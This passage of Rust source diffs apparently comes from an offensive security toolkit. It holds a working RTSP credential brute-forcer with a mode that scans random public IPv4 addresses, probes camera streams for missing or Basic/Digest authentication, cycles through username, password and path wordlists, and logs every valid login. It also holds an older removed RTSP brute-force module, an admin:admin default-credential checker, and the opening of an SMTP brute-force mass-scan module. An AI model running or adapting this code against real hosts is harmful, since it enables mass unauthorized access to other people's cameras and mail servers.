let passwords_file = if let Some(ref f) = config.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else {
prompt_existing_file("Password wordlist")?
};
// Get paths file - optional in API mode
let paths_file = if let Some(ref f) = config.path_wordlist {
if !std::path::Path::new(f).exists() && !f.is_empty() {
return Err(anyhow!("Path wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
String::new() // No paths file in API mode means use root path
} else {
prompt_existing_file("RTSP paths file (empty for none/root)")?
};
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
let mut paths = if paths_file.is_empty() {
vec!["".to_string()]
} else {
load_lines(&paths_file)?
};
if paths.is_empty() {
paths.push("".to_string());
}
if users.is_empty() || pass_lines.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "rtsp_mass_results.txt".to_string() } else { prompt_default("Output result file", "rtsp_mass_results.txt").unwrap_or_else(|_| "rtsp_mass_results.txt".to_string()) }
});
// Ask about exclusions - always use exclusions in API mode
let use_exclusions = if api_mode {
true
} else {
prompt_yes_no("Exclude reserved/private ranges?", true)?
};
// Parse exclusions
let mut exclusion_subnets = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
}
let exclusions = Arc::new(exclusion_subnets);
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, paths));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} RTSP streams found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
let mut checked_ips = HashSet::new();
if run_random {
if std::path::Path::new(STATE_FILE).exists() {
println!("{} Loading state file...", "[*]".blue());
if let Ok(file) = File::open(STATE_FILE) {
let reader = BufReader::new(file);
for line in reader.lines() {
if let Ok(l) = line {
if let Some(ip) = l.strip_prefix("checked: ") {
checked_ips.insert(ip.trim().to_string());
}
}
}
}
println!("{} Loaded {} checked IPs.", "[+]".green(), checked_ips.len());
}
}
let checked_set = Arc::new(Mutex::new(checked_ips));
if run_random {
OpenOptions::new().create(true).append(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let c_set = checked_set.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_s = ip.to_string();
let is_checked = {
let set = c_set.lock().await;
set.contains(&ip_s)
};
if !is_checked {
{
let mut set = c_set.lock().await;
set.insert(ip_s.clone());
}
mark_ip_checked_file(&ip_s).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
let targets: Vec<String> = if std::path::Path::new(target).is_file() {
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect()
} else if target.contains('/') {
if let Ok(net) = target.parse::<ipnetwork::IpNetwork>() {
net.iter().map(|ip| ip.to_string()).collect()
} else {
vec![target.to_string()]
}
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Loaded {} targets.", targets.len()).blue());
for ip_str in targets {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => {
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
Ok(mut iter) => iter.next().map(|s| s.ip()),
Err(_) => None
}
}
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check (Fast Fail)
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// Probe once to determine method
let (users, passes, paths) = &*creds;
// We try to probe the preferred path (usually first one or root)
let probe_path = match paths.first() {
Some(p) => p.clone(),
None => String::new(),
};
let addrs = [sa];
// For mass scan, we might fail probe due to timeout, just return then.
// If Unauth, we log and return success immediately!
let auth_method = match probe_auth_method(&addrs, &sa.to_string(), &probe_path).await {
Ok(AuthMethod::None) => {
// Found open!
let result_str = format!("{} -> <NO_AUTH>:<NO_AUTH> [path={}]", sa, probe_path);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return;
},
Ok(m) => m,
Err(_) => return, // Failed to probe, host likely gone
};
// Parallel credential attempts per host
// Limit concurrent connections per host to avoid FD exhaustion
const MAX_CONCURRENT_PER_HOST: usize = 10;
let host_semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_PER_HOST));
let found_flag = Arc::new(AtomicBool::new(false));
let mut tasks = FuturesUnordered::new();
for path in paths {
for user in users {
for pass in passes {
// Stop if we already found a valid credential for this host
if found_flag.load(Ordering::Relaxed) {
break;
}
let addrs_clone = addrs;
let sa_str = sa.to_string();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let auth_clone = auth_method.clone();
let sem = host_semaphore.clone();
let found = found_flag.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let v = verbose;
tasks.push(tokio::spawn(async move {
if found.load(Ordering::Relaxed) {
return;
}
// Acquire per-host permit
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return,
};
if found.load(Ordering::Relaxed) {
return;
}
let res = try_rtsp_login_smart(
&addrs_clone,
&sa_str,
&user_clone,
&pass_clone,
&path_clone,
&auth_clone
).await;
match res {
Ok(true) => {
let result_str = format!("{} -> {}:{} [path={}]", sa_str, user_clone, pass_clone, path_clone);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&of).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
sf.fetch_add(1, Ordering::Relaxed);
found.store(true, Ordering::Relaxed);
}
Ok(false) => {}
Err(e) => {
let err_str = e.to_string().to_lowercase();
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") || err_str.contains("too many open files") {
found.store(true, Ordering::Relaxed); // Stop this host
}
if v {
println!("\r{}", format!("[!] {} -> error: {}", sa_str, e).red());
}
}
}
}));
}
if found_flag.load(Ordering::Relaxed) { break; }
}
if found_flag.load(Ordering::Relaxed) { break; }
}
// Wait for all tasks on this host to complete
while let Some(_) = tasks.next().await {}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn mark_ip_checked_file(ip: &str) {
let data = format!("checked: {}\n", ip);
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
/// Resolve a host:port for single target mode
async fn resolve_targets(addr: &str, default_port: u16) -> Result<Vec<SocketAddr>> {
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
let parsed_port = match p.parse::<u16>() {
Ok(port_num) => port_num,
Err(_) => default_port,
};
(h.to_string(), parsed_port)
} else {
(addr.to_string(), default_port)
};
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
// ------ RTSP Logic ------
async fn connect_to_any(addrs: &[SocketAddr]) -> Result<(TcpStream, SocketAddr)> {
let mut last_err = None;
for sa in addrs {
// Connect timeout
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
Ok(Ok(s)) => return Ok((s, *sa)),
Ok(Err(e)) => { last_err = Some(e); continue; }
Err(_) => { last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout")); continue; }
}
}
match last_err {
Some(e) => Err(e.into()),
None => Err(anyhow!("All connection attempts failed")),
}
}
async fn send_request(stream: &mut TcpStream, request: &str) -> Result<String> {
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
// Read timeout
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
Ok(Ok(n)) => n,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(anyhow!("Read timeout")),
};
if n == 0 {
return Err(anyhow!("Connection closed by server"));
}
Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}
/// Probes the server to determine supported auth method
async fn probe_auth_method(addrs: &[SocketAddr], _addr_display: &str, path: &str) -> Result<AuthMethod> {
let (mut stream, sa) = connect_to_any(addrs).await?;
let path_str = if path.is_empty() { "/" } else { path };
let method = "DESCRIBE";
// Send unauthenticated request
let request = format!(
"{method} rtsp://{host}:{port}/{path} RTSP/1.0\r\nCSeq: 1\r\n\r\n",
method = method,
host = sa.ip(),
port = sa.port(),
path = path_str.trim_start_matches('/')
);
let response = send_request(&mut stream, &request).await?;
if response.contains("200 OK") {
return Ok(AuthMethod::None);
}
if response.contains("401 Unauthorized") {
if response.contains("Digest") {
// Parse Realm and Nonce
// WWW-Authenticate: Digest realm="HipcamRealServer", nonce="3b27a446bfa49b0c48c3edb631e09054"
let realm = extract_header_value(&response, "realm=\"", "\"");
let nonce = extract_header_value(&response, "nonce=\"", "\"");
if let (Some(r), Some(n)) = (realm, nonce) {
return Ok(AuthMethod::Digest { realm: r, nonce: n });
}
} else if response.contains("Basic") {
return Ok(AuthMethod::Basic);
}
}
Ok(AuthMethod::Unknown)
}
fn extract_header_value(response: &str, start_marker: &str, end_marker: &str) -> Option<String> {
if let Some(start) = response.find(start_marker) {
let remainder = &response[start + start_marker.len()..];
if let Some(end) = remainder.find(end_marker) {
return Some(remainder[..end].to_string());
}
}
None
}
async fn try_rtsp_login_smart(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
auth_method: &AuthMethod,
) -> Result<bool> {
let method_to_use = if let AuthMethod::Unknown = auth_method {
match probe_auth_method(addrs, addr_display, path).await {
Ok(m) => m,
Err(_) => AuthMethod::Basic,
}
} else {
auth_method.clone()
};
let (mut stream, sa) = connect_to_any(addrs).await?;
let rtsp_verb = "DESCRIBE";
let path_str = if path.is_empty() { "/" } else { path };
let path_clean = path_str.trim_start_matches('/');
let uri = format!("rtsp://{}:{}/{}", sa.ip(), sa.port(), path_clean);
let auth_header = match method_to_use {
AuthMethod::None => return Ok(true),
AuthMethod::Basic => {
let credentials = Base64.encode(format!("{}:{}", user, pass));
format!("Authorization: Basic {}", credentials)
},
AuthMethod::Digest { ref realm, ref nonce } => {
let ha1 = format!("{:x}", md5::compute(format!("{}:{}:{}", user, realm, pass)));
let ha2 = format!("{:x}", md5::compute(format!("{}:{}", rtsp_verb, uri)));
let response = format!("{:x}", md5::compute(format!("{}:{}:{}", ha1, nonce, ha2)));
format!(
"Authorization: Digest username=\"{}\", realm=\"{}\", nonce=\"{}\", uri=\"{}\", response=\"{}\"",
user, realm, nonce, uri, response
)
},
AuthMethod::Unknown => return Ok(false),
};
let request = format!(
"{method} {uri} RTSP/1.0\r\nCSeq: 2\r\n{auth}\r\n\r\n",
method = rtsp_verb,
uri = uri,
auth = auth_header
);
let response = send_request(&mut stream, &request).await?;
if response.contains("200 OK") {
Ok(true)
} else {
Ok(false)
}
}
fn extract_rtsp_path(target: &str) -> Option<String> {
let trimmed = target.trim();
let without_scheme = match trimmed.strip_prefix("rtsp://") {
Some(s) => s,
None => trimmed,
};
if let Some((_, path)) = without_scheme.split_once('/') {
let clean_path = match path.split(|c| c == '?' || c == '#').next() {
Some(p) => p,
None => "",
}
.trim();
if clean_path.is_empty() || clean_path == "/" {
None
} else {
let mut final_path = clean_path.to_string();
if !final_path.starts_with('/') {
final_path.insert(0, '/');
}
Some(final_path)
}
} else {
None
}
}
@@ -1,485 +0,0 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
let (addr, implicit_path) = normalize_target_input(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let command = advanced_command.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
return;
}
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
)
.await
{
Ok(true) => {
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(*sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
(without_scheme.trim(), None)
};
if host_part.is_empty() {
return Err(anyhow!("Target host cannot be empty."));
}
let normalized_host = if host_part.starts_with('[') {
if host_part.contains("]:") {
host_part.to_string()
} else {
format!("{}:{}", host_part, default_port)
}
} else {
let colon_count = host_part.matches(':').count();
if colon_count == 0 {
format!("{}:{}", host_part, default_port)
} else if colon_count == 1 {
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
if port_str.parse::<u16>().is_ok() {
if host_only.contains(':') {
format!("[{}]:{}", host_only, port_str)
} else {
host_part.to_string()
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("[{}]:{}", host_part, default_port)
}
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
}
Some(path)
}
});
Ok((normalized_host, normalized_path))
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
match s.trim().to_lowercase().as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+23 -5
View File
@@ -1,14 +1,32 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sample Default Credential Checker ║".cyan());
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking default creds on: {}", target);
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
println!();
let url = format!("http://{}/login", target);
let client = reqwest::Client::new();
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Hypothetical login using "admin:admin"
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
@@ -17,9 +35,9 @@ pub async fn run(target: &str) -> Result<()> {
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("[+] Default credentials admin:admin are valid!");
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
} else {
println!("[-] Default credentials admin:admin failed.");
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
}
Ok(())
+491 -211
View File
@@ -1,16 +1,42 @@
use anyhow::{anyhow, Context, Result};
use colored::Colorize;
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::path::Path;
use std::sync::{Arc, Mutex};
use std::sync::atomic::{AtomicBool, Ordering};
use colored::*;
use std::net::{ToSocketAddrs, IpAddr, SocketAddr};
use std::net::TcpStream;
use std::sync::{
atomic::{AtomicBool, AtomicUsize, Ordering},
Arc,
};
use std::time::Duration;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use base64::{engine::general_purpose, Engine as _};
use tokio::io::AsyncWriteExt;
use tokio::fs::OpenOptions;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
const STATE_FILE: &str = "smtp_hose_state.log";
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Clone)]
struct SmtpBruteforceConfig {
@@ -22,17 +48,77 @@ struct SmtpBruteforceConfig {
stop_on_success: bool,
verbose: bool,
full_combo: bool,
output_file: String,
delay_ms: u64,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== SMTP Bruteforce ===\n");
let port = prompt_port(25);
